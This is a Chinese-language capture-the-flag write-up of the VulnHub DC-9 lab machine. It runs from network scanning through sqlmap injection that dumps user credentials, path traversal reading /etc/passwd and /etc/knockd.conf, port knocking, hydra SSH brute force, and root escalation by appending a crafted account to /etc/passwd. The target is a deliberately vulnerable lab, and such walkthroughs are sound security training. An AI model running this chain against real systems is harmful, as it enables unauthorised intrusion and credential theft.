VulnHub-DC9

- 9 mins

环境下载地址:

https://www.five86.com/dc-9.html

环境搭建:

1

信息收集

探测目标IP:192.168.101.190

命令:nmap -sP 192.168.101.0/24

2

用 netdiscover -r 192.168.101.0/24 ,发现目标IP为:192.168.101.190

3

端口扫描

利用nmap对目标端口进行综合扫描,发现开放了 80和22(被过滤) 端口

命令:nmap -sV -A -T5 192.168.101.190 -p-

4

访问:http://192.168.101.190/

5

插件识别

6

search.php有一个搜索框,输入数据查看,发现是通过post传入,这个位置可能存在SQL注入

7

SQL注入

直接sqlmap注入所有数据库

┌─[root@pendo][~]
└──╼ #sqlmap  -u "http://192.168.101.190/results.php" --data "search=1" --dbs

发现存在的库(暴库)

8

查看users(暴表)

┌─[root@pendo][~]
└──╼ #sqlmap -u "http://192.168.101.190/results.php" --data "search=1" -D users --tables

9

暴字段

┌─[root@pendo][~]
└──╼ #sqlmap -u "http://192.168.101.190/results.php" --data "search=1" -D users -T UserDetails --columns

10

用户名/密码

┌─[][root@pendo][~]
└──╼ #sqlmap -u "http://192.168.101.190/results.php" --data "search=1" -D users -T UserDetails -C username,password --dump

11

查看Staff(暴表)

┌─[root@pendo][~]
└──╼ #sqlmap -u "http://192.168.101.190/results.php" --data "search=1" -D Staff --tables

12

暴字段

┌─[root@pendo][~]
└──╼ #sqlmap -u "http://192.168.101.190/results.php" --data "search=1" -D Staff -T Users --columns

13

用户名/密码

找到管理员账号admin和密码hash

┌─[][root@pendo][~]
└──╼ #sqlmap -u "http://192.168.101.190/results.php" --data "search=1" -D Staff -T Users -C Username,Password --dump


+----------+----------------------------------+
| Username | Password                         |
+----------+----------------------------------+
| admin    | 856f5de590ef37314e7c3bdf6f8a66dc |
+----------+----------------------------------+

14

MD5解码

admin/transorbital1

15

后台登录

16

文件包含

登录后台后发现提示:File does not exist,可能存在文件包含

17

猜测参数名为 file 尝试

http://192.168.101.190/manage.php?file=../../../../../../../../etc/passwd

18

然后就陷入了沉思 ….

后来看了看大佬的文章都用的是端口敲门:

需要知道它的自定义端口,然后依次对其进行敲门,然后就可以开始ssh服务从而进行连接了。它的默认配置文件为:/etc/knockd.conf

http://192.168.101.190/manage.php?file=../../../../../../../../etc/knockd.conf

19

得到了需要去敲门的端口:7469,8475,9842,只需要挨个访问这几个端口就行了

nc 192.168.101.190 7469

nc 192.168.101.190 8475

nc 192.168.101.190 9842

20

发现22端口已经开启状态(打开了ssh)

SSH爆破

虽然打开了ssh服务,但是没有用户名和密码,这里一开始收集的用户名和密码就有用了,将爆破数据库的用户名和密码分别保存到name和pass文件中

+-----------+---------------+
| username  | password      |
+-----------+---------------+
| marym     | 3kfs86sfd     |
| julied    | 468sfdfsd2    |
| fredf     | 4sfd87sfd1    |
| barneyr   | RocksOff      |
| tomc      | TC&TheBoyz    |
| jerrym    | B8m#48sd      |
| wilmaf    | Pebbles       |
| bettyr    | BamBam01      |
| chandlerb | UrAG0D!       |
| joeyt     | Passw0rd      |
| rachelg   | yN72#dsd      |
| rossg     | ILoveRachel   |
| monicag   | 3248dsds7s    |
| phoebeb   | smellycats    |
| scoots    | YR3BVxxxw87   |
| janitor   | Ilovepeepee   |
| janitor2  | Hawaii-Five-0 |
+-----------+---------------+
admin     transorbital1

爆破ssh用户名/密码

┌─[root@pendo][/home/pendo]
└──╼ #hydra -L user.txt -P passs.txt 192.168.101.190 ssh

[DATA] attacking ssh://192.168.101.190:22/
[22][ssh] host: 192.168.101.190   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.101.190   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.101.190   login: janitor   password: Ilovepeepee
1 of 1 target successfully completed, 3 valid passwords found

21

ssh远程登录

ssh joeyt@192.168.101.190 ,没发现有用信息

22

ssh chandlerb@192.168.101.190,没发现有用信息

23

root@pendo][/home/pendo]
└──╼ #ssh janitor@192.168.101.190

24

登录 janitor查看文件:ls -al

janitor@dc-9:~$ ls -al
total 16
drwx------  4 janitor janitor 4096 Nov 13 18:14 .
drwxr-xr-x 19 root    root    4096 Dec 29  2019 ..
lrwxrwxrwx  1 janitor janitor    9 Dec 29  2019 .bash_history -> /dev/null
drwx------  3 janitor janitor 4096 Nov 13 18:14 .gnupg
drwx------  2 janitor janitor 4096 Dec 29  2019 .secrets-for-putin
janitor@dc-9:~$ cd .secrets-for-putin/
janitor@dc-9:~/.secrets-for-putin$ ls
passwords-found-on-post-it-notes.txt
janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt 
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

25

又得到了新的密码,将其放入passs.txt文件里后继续爆破

[DATA] attacking ssh://192.168.101.190:22/
[22][ssh] host: 192.168.101.190   login: fredf   password: B4-Tru3-001
[22][ssh] host: 192.168.101.190   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.101.190   login: joeyt   password: Passw0rd
[STATUS] 364.00 tries/min, 364 tries in 00:01h, 48 to do in 00:01h, 16 active
[22][ssh] host: 192.168.101.190   login: janitor   password: Ilovepee

26

发现多了一个用户fredf,远程连接

27

发现 /opt/devstuff/dist/test/test 具有root权限

提权

切换到 fredf用户根目录查看文件,发现一个python脚本

/opt/devstuff/test.py

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r") 
    output = (f.read())		#读取第一个文件的第一行内容

    f = open(sys.argv[2], "a")	#获取第二个文件的写入权限
    f.write(output)		#用root权限将第一个文件的第一行内容写入到第二个文件中去
    f.close()

这是一段追加脚本,可以新建一个用户,然后将信息追加到 /etc/passwd 中

28

在攻击机本地建一个拥有root权限的用户,再把这个用户的信息通过python脚本写到靶机的/etc/passwd文件中存储,这样就可以得到一个有root权限的账号

使用openssl 先创建一个本地的加密用户

┌─[root@pendo][~]
└──╼ #openssl passwd -1 -salt admin admin
$1$admin$1kgWpnZpUx.vTroWPXPIB0
┌─[root@pendo][~]
└──╼ #
                
 -1 使用md5加密算法
 -salt 自动插入一个随机数作为文件内容加密加盐

29

然后在靶机中,/opt/devstuff/dist/test目录下用 echo 命令在 /tmp 目录下创建一个名为getshell的文件(名字自定义),同时将生成的加密用户信息写到文件中,再使用 sudo 用靶机中的test脚本来运行这个文件,将这个文件写入到passwd中,接着 su admin输入自己设定的密码就可以成功提权到root用户

// 进入test目录
cd /opt/devstuff/dist/test
// 使用echo在tmp下创建getshell文件
fredf@dc-9:/opt/devstuff/dist/test$ echo /tmp/getshell
// 添加用户名admin:和 :0:0::/root:/bin/bash ,使admin用户拥有root权限
fredf@dc-9:/opt/devstuff/dist/test$ echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /tmp/getshell
// 利用脚本将信息写入 /etc/passwd
fredf@dc-9:/opt/devstuff/dist/test$ sudo ./test /tmp/getshell /etc/passwd

// 提权成功
fredf@dc-9:/opt/devstuff/dist/test$ su admin
Password: 
root@dc-9:/opt/devstuff/dist/test# whoami
root
root@dc-9:/opt/devstuff/dist/test# id
uid=0(root) gid=0(root) groups=0(root)

// 切换目录找到flag
root@dc-9:/# cd ~
root@dc-9:~# ls
theflag.txt
root@dc-9:~# cat theflag.txt 

28

知识补充

  端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

  

简单来说就是:知道它的自定义端口后,依次对其进行敲门,然后就可以开启ssh服务从而进行连接了。它的默认配置文件为:/etc/knockd.conf

参考链接:https://www.cnblogs.com/xiaoxiaoleo/p/8523322.html(Port-knocking)

rss facebook twitter github mail instagram linkedin